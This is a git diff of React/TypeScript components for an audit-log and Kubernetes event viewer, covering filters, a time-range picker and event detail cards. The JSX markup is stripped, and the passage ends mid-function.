- - ); -} +import { useState, useEffect, useRef, useCallback } from 'react'; +import { formatISO, subDays } from 'date-fns'; +import { AuditLogFilters, buildAuditLogCEL, type AuditLogFilterState, type TimeRange } from './AuditLogFilters'; +import { AuditLogFeedItem } from './AuditLogFeedItem'; +import { useAuditLogQuery } from '../hooks/useAuditLogQuery'; +import type { AuditLogQuerySpec, Event } from '../types'; +import type { ActivityApiClient } from '../api/client'; +import type { ErrorFormatter } from '../types/activity'; +import { Card } from './ui/card'; +import { ApiErrorAlert } from './ApiErrorAlert'; + +// Debounce delay for filter changes (ms) +const FILTER_DEBOUNCE_MS = 300; + +// Default page size for infinite scroll +const DEFAULT_PAGE_SIZE = 100; + +export interface AuditLogQueryComponentProps { + client: ActivityApiClient; + className?: string; + onEventSelect?: (event: Event) => void; + initialFilters?: AuditLogFilterState; + initialTimeRange?: TimeRange; + /** Custom error formatter for customizing error messages */ + errorFormatter?: ErrorFormatter; +} + +/** + * Complete audit log query component with filter builder and results viewer + */ +export function AuditLogQueryComponent({ + client, + className = '', + onEventSelect, + initialFilters = {}, + initialTimeRange = { + start: formatISO(subDays(new Date(), 1)), + end: formatISO(new Date()), + }, + errorFormatter, +}: AuditLogQueryComponentProps) { + const [filters, setFilters] = useState(initialFilters); + const [timeRange, setTimeRange] = useState(initialTimeRange); + + const { events, isLoading, error, hasMore, executeQuery, loadMore } = + useAuditLogQuery({ client }); + + const loadMoreTriggerRef = useRef(null); + const scrollContainerRef = useRef(null); + // Store the latest loadMore function in a ref to avoid observer re-subscription + const loadMoreRef = useRef(loadMore); + const filterDebounceRef = useRef | null>(null); + const hasInitialLoadRef = useRef(false); + + // Build query spec from current filter state + const buildQuerySpec = useCallback((): AuditLogQuerySpec => { + const spec: AuditLogQuerySpec = { + filter: buildAuditLogCEL(filters) || '', + startTime: timeRange.start, + endTime: timeRange.end, + limit: DEFAULT_PAGE_SIZE, + }; + return spec; + }, [filters, timeRange]); + + // Execute query with current filters + const refresh = useCallback(async () => { + const spec = buildQuerySpec(); + await executeQuery(spec); + hasInitialLoadRef.current = true; + }, [buildQuerySpec, executeQuery]); + + // Handle filter changes with debounced auto-refresh + const handleFiltersChange = useCallback( + (newFilters: AuditLogFilterState) => { + setFilters(newFilters); + + // Cancel any pending debounced refresh + if (filterDebounceRef.current) { + clearTimeout(filterDebounceRef.current); + } + + // Debounce the refresh to avoid excessive API calls + filterDebounceRef.current = setTimeout(() => { + filterDebounceRef.current = null; + }, FILTER_DEBOUNCE_MS); + }, + [] + ); + + // Handle time range changes with debounced auto-refresh + const handleTimeRangeChange = useCallback( + (newTimeRange: TimeRange) => { + setTimeRange(newTimeRange); + + // Cancel any pending debounced refresh + if (filterDebounceRef.current) { + clearTimeout(filterDebounceRef.current); + } + + // Debounce the refresh + filterDebounceRef.current = setTimeout(() => { + filterDebounceRef.current = null; + }, FILTER_DEBOUNCE_MS); + }, + [] + ); + + // Auto-refresh when filters or time range change (debounced) + useEffect(() => { + // Skip the initial render - we'll handle that separately + if (!hasInitialLoadRef.current) { + return; + } + + // Cancel any pending refresh + if (filterDebounceRef.current) { + clearTimeout(filterDebounceRef.current); + } + + // Debounce the refresh + filterDebounceRef.current = setTimeout(() => { + filterDebounceRef.current = null; + refresh(); + }, FILTER_DEBOUNCE_MS); + + return () => { + if (filterDebounceRef.current) { + clearTimeout(filterDebounceRef.current); + filterDebounceRef.current = null; + } + }; + }, [filters, timeRange, refresh]); + + // Auto-execute on mount + useEffect(() => { + refresh(); + }, []); // eslint-disable-line react-hooks/exhaustive-deps + + // Update the ref whenever loadMore changes + useEffect(() => { + loadMoreRef.current = loadMore; + }, [loadMore]); + + // Infinite scroll using Intersection Observer + useEffect(() => { + if (!loadMoreTriggerRef.current) return; + + const observer = new IntersectionObserver( + (entries) => { + const entry = entries[0]; + if (entry.isIntersecting && hasMore && !isLoading) { + console.log('[AuditLogQueryComponent] Intersection triggered, loading more...'); + // Call through the ref to always use the latest function + loadMoreRef.current(); + } + }, + { + root: scrollContainerRef.current, + rootMargin: '200px', + threshold: 0, + } + ); + + observer.observe(loadMoreTriggerRef.current); + + return () => { + observer.disconnect(); + }; + }, [hasMore, isLoading]); + + // Cleanup on unmount + useEffect(() => { + return () => { + if (filterDebounceRef.current) { + clearTimeout(filterDebounceRef.current); + } + }; + }, []); + + return ( + + {/* Filters */} + + + {/* Error Display */} + + + {/* Event List with Infinite Scroll */} +
+ {/* Loading State (initial load) */} + {isLoading && events.length === 0 && ( +
+
+ Searching audit logs... +
+ )} + + {/* Empty State */} + {!isLoading && events.length === 0 && !error && ( +
+

No audit events found

+

+ Try adjusting your filters or time range +

+
+ )} + + {/* Event List */} + {events.map((event, index) => ( + + ))} + + {/* Load More Trigger for Infinite Scroll */} + {hasMore &&
} + + {/* Loading Indicator (pagination) */} + {isLoading && events.length > 0 && ( +
+
+ Loading more events... +
+ )} + + {/* End of Results */} + {!hasMore && events.length > 0 && !isLoading && ( +
+ End of results +
+ )} +
+ + ); +} diff --git a/ui/src/components/ChangeSourceToggle.tsx b/ui/src/components/ChangeSourceToggle.tsx index 909f136c..0fab18a5 100644 --- a/ui/src/components/ChangeSourceToggle.tsx +++ b/ui/src/components/ChangeSourceToggle.tsx @@ -1,76 +1,76 @@ -import type { ChangeSource } from '../types/activity'; -import { Button } from './ui/button'; -import { cn } from '../lib/utils'; - -export type ChangeSourceOption = ChangeSource | 'all'; - -export interface ChangeSourceToggleProps { - /** Current selected value */ - value: ChangeSourceOption; - /** Handler called when selection changes */ - onChange: (value: ChangeSourceOption) => void; - /** Additional CSS class */ - className?: string; - /** Whether the toggle is disabled */ - disabled?: boolean; -} - -/** - * Options for the change source toggle - */ -const OPTIONS: { value: ChangeSourceOption; label: string; description: string }[] = [ - { - value: 'all', - label: 'All', - description: 'Show all activities', - }, - { - value: 'human', - label: 'Human', - description: 'Show only human-initiated activities', - }, - { - value: 'system', - label: 'System', - description: 'Show only system-initiated activities', - }, -]; - -/** - * ChangeSourceToggle provides a segmented control for filtering by change source - */ -export function ChangeSourceToggle({ - value, - onChange, - className = '', - disabled = false, -}: ChangeSourceToggleProps) { - return ( -
- {OPTIONS.map((option, index) => ( - - ))} -
- ); -} +import type { ChangeSource } from '../types/activity'; +import { Button } from './ui/button'; +import { cn } from '../lib/utils'; + +export type ChangeSourceOption = ChangeSource | 'all'; + +export interface ChangeSourceToggleProps { + /** Current selected value */ + value: ChangeSourceOption; + /** Handler called when selection changes */ + onChange: (value: ChangeSourceOption) => void; + /** Additional CSS class */ + className?: string; + /** Whether the toggle is disabled */ + disabled?: boolean; +} + +/** + * Options for the change source toggle + */ +const OPTIONS: { value: ChangeSourceOption; label: string; description: string }[] = [ + { + value: 'all', + label: 'All', + description: 'Show all activities', + }, + { + value: 'human', + label: 'Human', + description: 'Show only human-initiated activities', + }, + { + value: 'system', + label: 'System', + description: 'Show only system-initiated activities', + }, +]; + +/** + * ChangeSourceToggle provides a segmented control for filtering by change source + */ +export function ChangeSourceToggle({ + value, + onChange, + className = '', + disabled = false, +}: ChangeSourceToggleProps) { + return ( +
+ {OPTIONS.map((option, index) => ( + + ))} +
+ ); +} diff --git a/ui/src/components/DateTimeRangePicker.tsx b/ui/src/components/DateTimeRangePicker.tsx index 10392f96..ea6eecef 100644 --- a/ui/src/components/DateTimeRangePicker.tsx +++ b/ui/src/components/DateTimeRangePicker.tsx @@ -1,233 +1,233 @@ -import { useState, useEffect } from 'react'; -import { - subMinutes, - subHours, - subDays, - subWeeks, - startOfDay, - endOfDay, - formatISO -} from 'date-fns'; -import { Button } from './ui/button'; -import { Input } from './ui/input'; -import { Label } from './ui/label'; -import { Card, CardContent } from './ui/card'; - -export interface DateTimeRange { - start: string; // ISO 8601 timestamp - end: string; // ISO 8601 timestamp -} - -export interface DateTimeRangePickerProps { - onChange: (range: DateTimeRange) => void; - initialRange?: DateTimeRange; - className?: string; -} - -type PresetKey = - | 'last15min' - | 'last1hour' - | 'last6hours' - | 'last24hours' - | 'last7days' - | 'last30days' - | 'today' - | 'custom'; - -interface TimeRangePreset { - label: string; - getValue: () => DateTimeRange; -} - -const PRESETS: Record = { - last15min: { - label: 'Last 15 minutes', - getValue: () => ({ - start: formatISO(subMinutes(new Date(), 15)), - end: formatISO(new Date()), - }), - }, - last1hour: { - label: 'Last 1 hour', - getValue: () => ({ - start: formatISO(subHours(new Date(), 1)), - end: formatISO(new Date()), - }), - }, - last6hours: { - label: 'Last 6 hours', - getValue: () => ({ - start: formatISO(subHours(new Date(), 6)), - end: formatISO(new Date()), - }), - }, - last24hours: { - label: 'Last 24 hours', - getValue: () => ({ - start: formatISO(subHours(new Date(), 24)), - end: formatISO(new Date()), - }), - }, - last7days: { - label: 'Last 7 days', - getValue: () => ({ - start: formatISO(subDays(new Date(), 7)), - end: formatISO(new Date()), - }), - }, - last30days: { - label: 'Last 30 days', - getValue: () => ({ - start: formatISO(subDays(new Date(), 30)), - end: formatISO(new Date()), - }), - }, - today: { - label: 'Today', - getValue: () => ({ - start: formatISO(startOfDay(new Date())), - end: formatISO(endOfDay(new Date())), - }), - }, - custom: { - label: 'Custom range', - getValue: () => ({ - start: formatISO(subHours(new Date(), 1)), - end: formatISO(new Date()), - }), - }, -}; - -// Helper function to convert ISO string to datetime-local format -const formatDatetimeLocal = (isoString: string): string => { - const date = new Date(isoString); - const year = date.getFullYear(); - const month = String(date.getMonth() + 1).padStart(2, '0'); - const day = String(date.getDate()).padStart(2, '0'); - const hours = String(date.getHours()).padStart(2, '0'); - const minutes = String(date.getMinutes()).padStart(2, '0'); - return `${year}-${month}-${day}T${hours}:${minutes}`; -}; - -/** - * DateTimeRangePicker component for selecting time ranges for audit log queries. - * Supports both preset ranges (last 7 days, last 24 hours, etc.) and custom date/time selection. - */ -export function DateTimeRangePicker({ - onChange, - initialRange, - className = '', -}: DateTimeRangePickerProps) { - const [selectedPreset, setSelectedPreset] = useState('last24hours'); - const [customStart, setCustomStart] = useState(''); - const [customEnd, setCustomEnd] = useState(''); - const [isCustom, setIsCustom] = useState(false); - - // Initialize with initial range or default preset - useEffect(() => { - if (initialRange) { - setCustomStart(formatDatetimeLocal(initialRange.start)); - setCustomEnd(formatDatetimeLocal(initialRange.end)); - setIsCustom(true); - setSelectedPreset('custom'); - } else { - // Auto-apply the default preset on mount - const range = PRESETS['last24hours'].getValue(); - onChange(range); - } - // eslint-disable-next-line react-hooks/exhaustive-deps - }, []); // Only run on mount - - const handlePresetChange = (preset: PresetKey) => { - setSelectedPreset(preset); - - if (preset === 'custom') { - setIsCustom(true); - // If switching to custom, initialize with current values or defaults - if (!customStart || !customEnd) { - const defaultRange = PRESETS.last24hours.getValue(); - setCustomStart(formatDatetimeLocal(defaultRange.start)); - setCustomEnd(formatDatetimeLocal(defaultRange.end)); - } - } else { - setIsCustom(false); - const range = PRESETS[preset].getValue(); - onChange(range); - } - }; - - const handleCustomApply = () => { - if (customStart && customEnd) { - const range: DateTimeRange = { - start: new Date(customStart).toISOString(), - end: new Date(customEnd).toISOString(), - }; - onChange(range); - } - }; - - const handleCustomStartChange = (value: string) => { - setCustomStart(value); - }; - - const handleCustomEndChange = (value: string) => { - setCustomEnd(value); - }; - - return ( -
-
- {(Object.keys(PRESETS) as PresetKey[]).map((key) => ( - - ))} -
- - {isCustom && ( - - -
- - handleCustomStartChange(e.target.value)} - /> -
- -
- - handleCustomEndChange(e.target.value)} - /> -
- - -
-
- )} -
- ); -} +import { useState, useEffect } from 'react'; +import { + subMinutes, + subHours, + subDays, + subWeeks, + startOfDay, + endOfDay, + formatISO +} from 'date-fns'; +import { Button } from './ui/button'; +import { Input } from './ui/input'; +import { Label } from './ui/label'; +import { Card, CardContent } from './ui/card'; + +export interface DateTimeRange { + start: string; // ISO 8601 timestamp + end: string; // ISO 8601 timestamp +} + +export interface DateTimeRangePickerProps { + onChange: (range: DateTimeRange) => void; + initialRange?: DateTimeRange; + className?: string; +} + +type PresetKey = + | 'last15min' + | 'last1hour' + | 'last6hours' + | 'last24hours' + | 'last7days' + | 'last30days' + | 'today' + | 'custom'; + +interface TimeRangePreset { + label: string; + getValue: () => DateTimeRange; +} + +const PRESETS: Record = { + last15min: { + label: 'Last 15 minutes', + getValue: () => ({ + start: formatISO(subMinutes(new Date(), 15)), + end: formatISO(new Date()), + }), + }, + last1hour: { + label: 'Last 1 hour', + getValue: () => ({ + start: formatISO(subHours(new Date(), 1)), + end: formatISO(new Date()), + }), + }, + last6hours: { + label: 'Last 6 hours', + getValue: () => ({ + start: formatISO(subHours(new Date(), 6)), + end: formatISO(new Date()), + }), + }, + last24hours: { + label: 'Last 24 hours', + getValue: () => ({ + start: formatISO(subHours(new Date(), 24)), + end: formatISO(new Date()), + }), + }, + last7days: { + label: 'Last 7 days', + getValue: () => ({ + start: formatISO(subDays(new Date(), 7)), + end: formatISO(new Date()), + }), + }, + last30days: { + label: 'Last 30 days', + getValue: () => ({ + start: formatISO(subDays(new Date(), 30)), + end: formatISO(new Date()), + }), + }, + today: { + label: 'Today', + getValue: () => ({ + start: formatISO(startOfDay(new Date())), + end: formatISO(endOfDay(new Date())), + }), + }, + custom: { + label: 'Custom range', + getValue: () => ({ + start: formatISO(subHours(new Date(), 1)), + end: formatISO(new Date()), + }), + }, +}; + +// Helper function to convert ISO string to datetime-local format +const formatDatetimeLocal = (isoString: string): string => { + const date = new Date(isoString); + const year = date.getFullYear(); + const month = String(date.getMonth() + 1).padStart(2, '0'); + const day = String(date.getDate()).padStart(2, '0'); + const hours = String(date.getHours()).padStart(2, '0'); + const minutes = String(date.getMinutes()).padStart(2, '0'); + return `${year}-${month}-${day}T${hours}:${minutes}`; +}; + +/** + * DateTimeRangePicker component for selecting time ranges for audit log queries. + * Supports both preset ranges (last 7 days, last 24 hours, etc.) and custom date/time selection. + */ +export function DateTimeRangePicker({ + onChange, + initialRange, + className = '', +}: DateTimeRangePickerProps) { + const [selectedPreset, setSelectedPreset] = useState('last24hours'); + const [customStart, setCustomStart] = useState(''); + const [customEnd, setCustomEnd] = useState(''); + const [isCustom, setIsCustom] = useState(false); + + // Initialize with initial range or default preset + useEffect(() => { + if (initialRange) { + setCustomStart(formatDatetimeLocal(initialRange.start)); + setCustomEnd(formatDatetimeLocal(initialRange.end)); + setIsCustom(true); + setSelectedPreset('custom'); + } else { + // Auto-apply the default preset on mount + const range = PRESETS['last24hours'].getValue(); + onChange(range); + } + // eslint-disable-next-line react-hooks/exhaustive-deps + }, []); // Only run on mount + + const handlePresetChange = (preset: PresetKey) => { + setSelectedPreset(preset); + + if (preset === 'custom') { + setIsCustom(true); + // If switching to custom, initialize with current values or defaults + if (!customStart || !customEnd) { + const defaultRange = PRESETS.last24hours.getValue(); + setCustomStart(formatDatetimeLocal(defaultRange.start)); + setCustomEnd(formatDatetimeLocal(defaultRange.end)); + } + } else { + setIsCustom(false); + const range = PRESETS[preset].getValue(); + onChange(range); + } + }; + + const handleCustomApply = () => { + if (customStart && customEnd) { + const range: DateTimeRange = { + start: new Date(customStart).toISOString(), + end: new Date(customEnd).toISOString(), + }; + onChange(range); + } + }; + + const handleCustomStartChange = (value: string) => { + setCustomStart(value); + }; + + const handleCustomEndChange = (value: string) => { + setCustomEnd(value); + }; + + return ( +
+
+ {(Object.keys(PRESETS) as PresetKey[]).map((key) => ( + + ))} +
+ + {isCustom && ( + + +
+ + handleCustomStartChange(e.target.value)} + /> +
+ +
+ + handleCustomEndChange(e.target.value)} + /> +
+ + +
+
+ )} +
+ ); +} diff --git a/ui/src/components/EventExpandedDetails.tsx b/ui/src/components/EventExpandedDetails.tsx index 1e6007ca..e3eaa100 100644 --- a/ui/src/components/EventExpandedDetails.tsx +++ b/ui/src/components/EventExpandedDetails.tsx @@ -1,228 +1,228 @@ -import { format } from 'date-fns'; -import type { K8sEvent } from '../types/k8s-event'; - -export interface EventExpandedDetailsProps { - /** The event to display details for */ - event: K8sEvent; -} - -/** - * Format timestamp for display (with timezone) - */ -function formatTimestampFull(timestamp?: string): string { - if (!timestamp) return 'Unknown time'; - try { - return format(new Date(timestamp), 'yyyy-MM-dd HH:mm:ss \'UTC\''); - } catch { - return timestamp; - } -} - -/** - * Get the regarding object (handling both new and deprecated field names) - */ -function getRegarding(event: K8sEvent) { - return event.regarding || event.involvedObject || {}; -} - -/** - * Get the reporting controller (handling both new and deprecated field names) - */ -function getReportingController(event: K8sEvent): string | undefined { - return event.reportingController || event.reportingComponent || event.source?.component; -} - -/** - * Get the reporting instance (handling both new and deprecated field names) - */ -function getReportingInstance(event: K8sEvent): string | undefined { - return event.reportingInstance || event.source?.host; -} - -/** - * EventExpandedDetails renders the expanded details section for an event. - * - * Section order (most to least relevant for investigation): - * 1. Regarding Object - what resource is affected (was involvedObject in core/v1) - * 2. Timestamps - when it happened - * 3. Reporting Controller - what component generated the event (was source in core/v1) - * 4. Action - what action was taken/failed - * 5. Metadata - event UIDs and versions - */ -export function EventExpandedDetails({ event }: EventExpandedDetailsProps) { - const regarding = getRegarding(event); - const reportingController = getReportingController(event); - const reportingInstance = getReportingInstance(event); - const { eventTime, action, metadata, related } = event; - - // For backward compatibility, also check deprecated fields - // Note: events.k8s.io/v1 uses "deprecatedFirstTimestamp" and "deprecatedLastTimestamp" - const firstTimestamp = event.firstTimestamp || event.deprecatedFirstTimestamp; - const lastTimestamp = event.lastTimestamp || event.deprecatedLastTimestamp || event.series?.lastObservedTime; - const count = event.series?.count || event.count || event.deprecatedCount; - - return ( -
- {/* Regarding Object - Most actionable, shown first (was involvedObject in core/v1) */} -
-

- Regarding Object -

-
-
Kind:
-
{regarding.kind || 'Unknown'}
-
Name:
-
{regarding.name || 'Unknown'}
- {regarding.namespace && ( - <> -
Namespace:
-
{regarding.namespace}
- - )} - {regarding.apiVersion && ( - <> -
API Version:
-
{regarding.apiVersion}
- - )} - {regarding.uid && ( - <> -
UID:
-
{regarding.uid}
- - )} - {regarding.fieldPath && ( - <> -
Field Path:
-
{regarding.fieldPath}
- - )} -
-
- - {/* Timestamps */} -
-

- Timestamps -

-
- {eventTime && ( - <> -
Event Time:
-
{formatTimestampFull(eventTime)}
- - )} - {firstTimestamp && ( - <> -
First Seen:
-
{formatTimestampFull(firstTimestamp)}
- - )} - {lastTimestamp && ( - <> -
Last Seen:
-
{formatTimestampFull(lastTimestamp)}
- - )} - {count && count > 1 && ( - <> -
Count:
-
{count} times
- - )} -
-
- - {/* Reporting Controller (was Source in core/v1) */} - {(reportingController || reportingInstance) && ( -
-

- Reporting Controller -

-
- {reportingController && ( - <> -
Controller:
-
{reportingController}
- - )} - {reportingInstance && ( - <> -
Instance:
-
{reportingInstance}
- - )} -
-
- )} - - {/* Action */} - {action && ( -
-

- Action -

-

{action}

-
- )} - - {/* Related Object */} - {related && ( -
-

- Related Object -

-
- {related.kind && ( - <> -
Kind:
-
{related.kind}
- - )} - {related.name && ( - <> -
Name:
-
{related.name}
- - )} - {related.namespace && ( - <> -
Namespace:
-
{related.namespace}
- - )} -
-
- )} - - {/* Metadata */} - {metadata && ( -
-

- Metadata -

-
- {metadata.name && ( - <> -
Name:
-
{metadata.name}
- - )} - {metadata.uid && ( - <> -
UID:
-
{metadata.uid}
- - )} - {metadata.resourceVersion && ( - <> -
Resource Version:
-
{metadata.resourceVersion}
- - )} -
-
- )} -
- ); -} +import { format } from 'date-fns'; +import type { K8sEvent } from '../types/k8s-event'; + +export interface EventExpandedDetailsProps { + /** The event to display details for */ + event: K8sEvent; +} + +/** + * Format timestamp for display (with timezone) + */ +function formatTimestampFull(timestamp?: string): string { + if (!timestamp) return 'Unknown time'; + try { + return format(new Date(timestamp), 'yyyy-MM-dd HH:mm:ss \'UTC\''); + } catch { + return timestamp; + } +} + +/** + * Get the regarding object (handling both new and deprecated field names) + */ +function getRegarding(event: K8sEvent) { + return event.regarding || event.involvedObject || {}; +} + +/** + * Get the reporting controller (handling both new and deprecated field names) + */ +function getReportingController(event: K8sEvent): string | undefined { + return event.reportingController || event.reportingComponent || event.source?.component; +} + +/** + * Get the reporting instance (handling both new and deprecated field names) + */ +function getReportingInstance(event: K8sEvent): string | undefined { + return event.reportingInstance || event.source?.host; +} + +/** + * EventExpandedDetails renders the expanded details section for an event. + * + * Section order (most to least relevant for investigation): + * 1. Regarding Object - what resource is affected (was involvedObject in core/v1) + * 2. Timestamps - when it happened + * 3. Reporting Controller - what component generated the event (was source in core/v1) + * 4. Action - what action was taken/failed + * 5. Metadata - event UIDs and versions + */ +export function EventExpandedDetails({ event }: EventExpandedDetailsProps) { + const regarding = getRegarding(event); + const reportingController = getReportingController(event); + const reportingInstance = getReportingInstance(event); + const { eventTime, action, metadata, related } = event; + + // For backward compatibility, also check deprecated fields + // Note: events.k8s.io/v1 uses "deprecatedFirstTimestamp" and "deprecatedLastTimestamp" + const firstTimestamp = event.firstTimestamp || event.deprecatedFirstTimestamp; + const lastTimestamp = event.lastTimestamp || event.deprecatedLastTimestamp || event.series?.lastObservedTime; + const count = event.series?.count || event.count || event.deprecatedCount; + + return ( +
+ {/* Regarding Object - Most actionable, shown first (was involvedObject in core/v1) */} +
+

+ Regarding Object +

+
+
Kind:
+
{regarding.kind || 'Unknown'}
+
Name:
+
{regarding.name || 'Unknown'}
+ {regarding.namespace && ( + <> +
Namespace:
+
{regarding.namespace}
+ + )} + {regarding.apiVersion && ( + <> +
API Version:
+
{regarding.apiVersion}
+ + )} + {regarding.uid && ( + <> +
UID:
+
{regarding.uid}
+ + )} + {regarding.fieldPath && ( + <> +
Field Path:
+
{regarding.fieldPath}
+ + )} +
+
+ + {/* Timestamps */} +
+

+ Timestamps +

+
+ {eventTime && ( + <> +
Event Time:
+
{formatTimestampFull(eventTime)}
+ + )} + {firstTimestamp && ( + <> +
First Seen:
+
{formatTimestampFull(firstTimestamp)}
+ + )} + {lastTimestamp && ( + <> +
Last Seen:
+
{formatTimestampFull(lastTimestamp)}
+ + )} + {count && count > 1 && ( + <> +
Count:
+
{count} times
+ + )} +
+
+ + {/* Reporting Controller (was Source in core/v1) */} + {(reportingController || reportingInstance) && ( +
+

+ Reporting Controller +

+
+ {reportingController && ( + <> +
Controller:
+
{reportingController}
+ + )} + {reportingInstance && ( + <> +
Instance:
+
{reportingInstance}
+ + )} +
+
+ )} + + {/* Action */} + {action && ( +
+

+ Action +

+

{action}

+
+ )} + + {/* Related Object */} + {related && ( +
+

+ Related Object +

+
+ {related.kind && ( + <> +
Kind:
+
{related.kind}
+ + )} + {related.name && ( + <> +
Name:
+
{related.name}
+ + )} + {related.namespace && ( + <> +
Namespace:
+
{related.namespace}
+ + )} +
+
+ )} + + {/* Metadata */} + {metadata && ( +
+

+ Metadata +

+
+ {metadata.name && ( + <> +
Name:
+
{metadata.name}
+ + )} + {metadata.uid && ( + <> +
UID:
+
{metadata.uid}
+ + )} + {metadata.resourceVersion && ( + <> +
Resource Version:
+
{metadata.resourceVersion}
+ + )} +
+
+ )} +
+ ); +} diff --git a/ui/src/components/EventFeedItem.tsx b/ui/src/components/EventFeedItem.tsx index c90af15e..e9cecda8 100644 --- a/ui/src/components/EventFeedItem.tsx +++ b/ui/src/components/EventFeedItem.tsx @@ -1,311 +1,311 @@ -import { useState } from 'react'; -import { format, formatDistanceToNow } from 'date-fns'; -import { Copy, Check, ChevronDown, ChevronRight } from 'lucide-react'; -import type { K8sEvent } from '../types/k8s-event'; -import { EventExpandedDetails } from './EventExpandedDetails'; -import { cn } from '../lib/utils'; -import { Button } from './ui/button'; -import { Card } from './ui/card'; -import { - Tooltip, - TooltipContent, - TooltipProvider, - TooltipTrigger, -} from './ui/tooltip'; - -export interface EventFeedItemProps { - /** The event to render */ - event: K8sEvent; - /** Handler called when the item is clicked */ - onEventClick?: (event: K8sEvent) => void; - /** Handler called when the resource name is clicked. If provided, the resource name becomes clickable. */ - onResourceClick?: (resource: { - kind: string; - name: string; - namespace?: string; - uid?: string; - }) => void; - /** Whether the item is selected */ - isSelected?: boolean; - /** Additional CSS class */ - className?: string; - /** Whether to show as compact (for resource detail tabs) */ - compact?: boolean; - /** Whether this is a newly streamed event */ - isNew?: boolean; - /** Whether the item starts expanded */ - defaultExpanded?: boolean; -} - -/** - * Get the regarding object (handling both new and deprecated field names) - */ -function getRegarding(event: K8sEvent) { - return event.regarding || event.involvedObject || {}; -} - -/** - * Get the event note/message (handling both new and deprecated field names) - */ -function getNote(event: K8sEvent): string | undefined { - return event.note || event.message; -} - -/** - * Get the reporting controller (handling both new and deprecated field names) - */ -function getReportingController(event: K8sEvent): string | undefined { - return event.reportingController || event.source?.component; -} - -/** - * Get the event count (handling both new and deprecated field names) - */ -function getCount(event: K8sEvent): number | undefined { - return event.series?.count || event.count || event.deprecatedCount; -} - -/** - * Get the best timestamp to display (handling both new and deprecated field names) - * For recurring events (series), prefer lastObservedTime as it reflects the most recent occurrence. - * For single events, use eventTime. - */ -function getTimestamp(event: K8sEvent): string | undefined { - // For series events, lastObservedTime is the most recent occurrence - if (event.series?.lastObservedTime) { - return event.series.lastObservedTime; - } - // For single events, use eventTime (eventsv1) or fall back to deprecated/legacy fields - // Note: events.k8s.io/v1 uses "deprecatedFirstTimestamp" and "deprecatedLastTimestamp" - return ( - event.eventTime || - event.deprecatedLastTimestamp || - event.deprecatedFirstTimestamp || - event.lastTimestamp || - event.firstTimestamp - ); -} - -/** - * Format timestamp for display - */ -function formatTimestamp(timestamp?: string): string { - if (!timestamp) return 'Unknown time'; - try { - const date = new Date(timestamp); - return formatDistanceToNow(date, { addSuffix: true }); - } catch { - return timestamp; - } -} - -/** - * Format timestamp for tooltip (human-friendly UTC format with timezone) - */ -function formatTimestampFull(timestamp?: string): string { - if (!timestamp) return 'Unknown time'; - try { - const date = new Date(timestamp); - return format(date, "MMMM d, yyyy 'at' h:mm:ss a 'UTC'"); - } catch { - return timestamp; - } -} - - -/** - * EventFeedItem renders a single Kubernetes event in the feed - */ -export function EventFeedItem({ - event, - onEventClick, - onResourceClick, - isSelected = false, - className = '', - compact = false, - isNew = false, - defaultExpanded = false, -}: EventFeedItemProps) { - const [isExpanded, setIsExpanded] = useState(defaultExpanded); - const [isCopied, setIsCopied] = useState(false); - - // Use helper functions to handle both new and deprecated field names - const regarding = getRegarding(event); - const note = getNote(event); - const count = getCount(event); - const timestamp = getTimestamp(event); - const reportingController = getReportingController(event); - const { type, reason } = event; - - const handleClick = () => { - onEventClick?.(event); - }; - - const toggleExpand = (e: React.MouseEvent) => { - e.stopPropagation(); - setIsExpanded(!isExpanded); - }; - - const handleCopyResourceName = async (e: React.MouseEvent) => { - e.stopPropagation(); - if (regarding.name) { - try { - await navigator.clipboard.writeText(regarding.name); - setIsCopied(true); - setTimeout(() => setIsCopied(false), 2000); - } catch (err) { - console.error('Failed to copy resource name:', err); - } - } - }; - - const handleResourceClick = (e: React.MouseEvent) => { - e.stopPropagation(); - if (onResourceClick && regarding.name) { - onResourceClick({ - kind: regarding.kind || 'Unknown', - name: regarding.name, - namespace: regarding.namespace, - uid: regarding.uid, - }); - } - }; - - const isWarning = type === 'Warning'; - - return ( - - -
- {/* Main Content */} -
- {/* Header row: Type badge + Reason + Kind + Timestamp */} -
- {/* Type badge */} - - {type || 'Unknown'} - - - {/* Reason */} - {reason && ( - - {reason} - - )} - - {/* Involved Kind */} - {regarding.kind && ( - - {regarding.kind} - - )} - - {/* Spacer to push timestamp to the right */} - - - {/* Timestamp with tooltip */} - - - - {formatTimestamp(timestamp)} - - - -

{formatTimestampFull(timestamp)}

-
-
-
- - {/* Content row: Message + Object + Timestamp + Expand */} -
- {/* Note with count - takes remaining space */} - {note && ( -

- {note}{count && count > 1 && (x{count})} -

- )} - - {/* Regarding Object with Tooltip and Copy Button */} -
- - - - {regarding.name || 'Unknown'} - - - -

- {regarding.namespace - ? `${regarding.kind || 'Unknown'} in namespace ${regarding.namespace}` - : regarding.kind || 'Unknown'} -

-
-
- - - - - -

Click to copy

-
-
-
- - {/* Expand button - larger and positioned at the end */} - -
-
-
- - {/* Expanded Details */} - {isExpanded && } -
-
- ); -} +import { useState } from 'react'; +import { format, formatDistanceToNow } from 'date-fns'; +import { Copy, Check, ChevronDown, ChevronRight } from 'lucide-react'; +import type { K8sEvent } from '../types/k8s-event'; +import { EventExpandedDetails } from './EventExpandedDetails'; +import { cn } from '../lib/utils'; +import { Button } from './ui/button'; +import { Card } from './ui/card'; +import { + Tooltip, + TooltipContent, + TooltipProvider, + TooltipTrigger, +} from './ui/tooltip'; + +export interface EventFeedItemProps { + /** The event to render */ + event: K8sEvent; + /** Handler called when the item is clicked */ + onEventClick?: (event: K8sEvent) => void; + /** Handler called when the resource name is clicked. If provided, the resource name becomes clickable. */ + onResourceClick?: (resource: { + kind: string; + name: string; + namespace?: string; + uid?: string; + }) => void; + /** Whether the item is selected */ + isSelected?: boolean; + /** Additional CSS class */ + className?: string; + /** Whether to show as compact (for resource detail tabs) */ + compact?: boolean; + /** Whether this is a newly streamed event */ + isNew?: boolean; + /** Whether the item starts expanded */ + defaultExpanded?: boolean; +} + +/** + * Get the regarding object (handling both new and deprecated field names) + */ +function getRegarding(event: K8sEvent) { + return event.regarding || event.involvedObject || {}; +} + +/** + * Get the event note/message (handling both new and deprecated field names) + */ +function getNote(event: K8sEvent): string | undefined { + return event.note || event.message; +} + +/** + * Get the reporting controller (handling both new and deprecated field names) + */ +function getReportingController(event: K8sEvent): string | undefined { + return event.reportingController || event.source?.component; +} + +/** + * Get the event count (handling both new and deprecated field names) + */ +function getCount(event: K8sEvent): number | undefined { + return event.series?.count || event.count || event.deprecatedCount; +} + +/** + * Get the best timestamp to display (handling both new and deprecated field names) + * For recurring events (series), prefer lastObservedTime as it reflects the most recent occurrence. + * For single events, use eventTime. + */ +function getTimestamp(event: 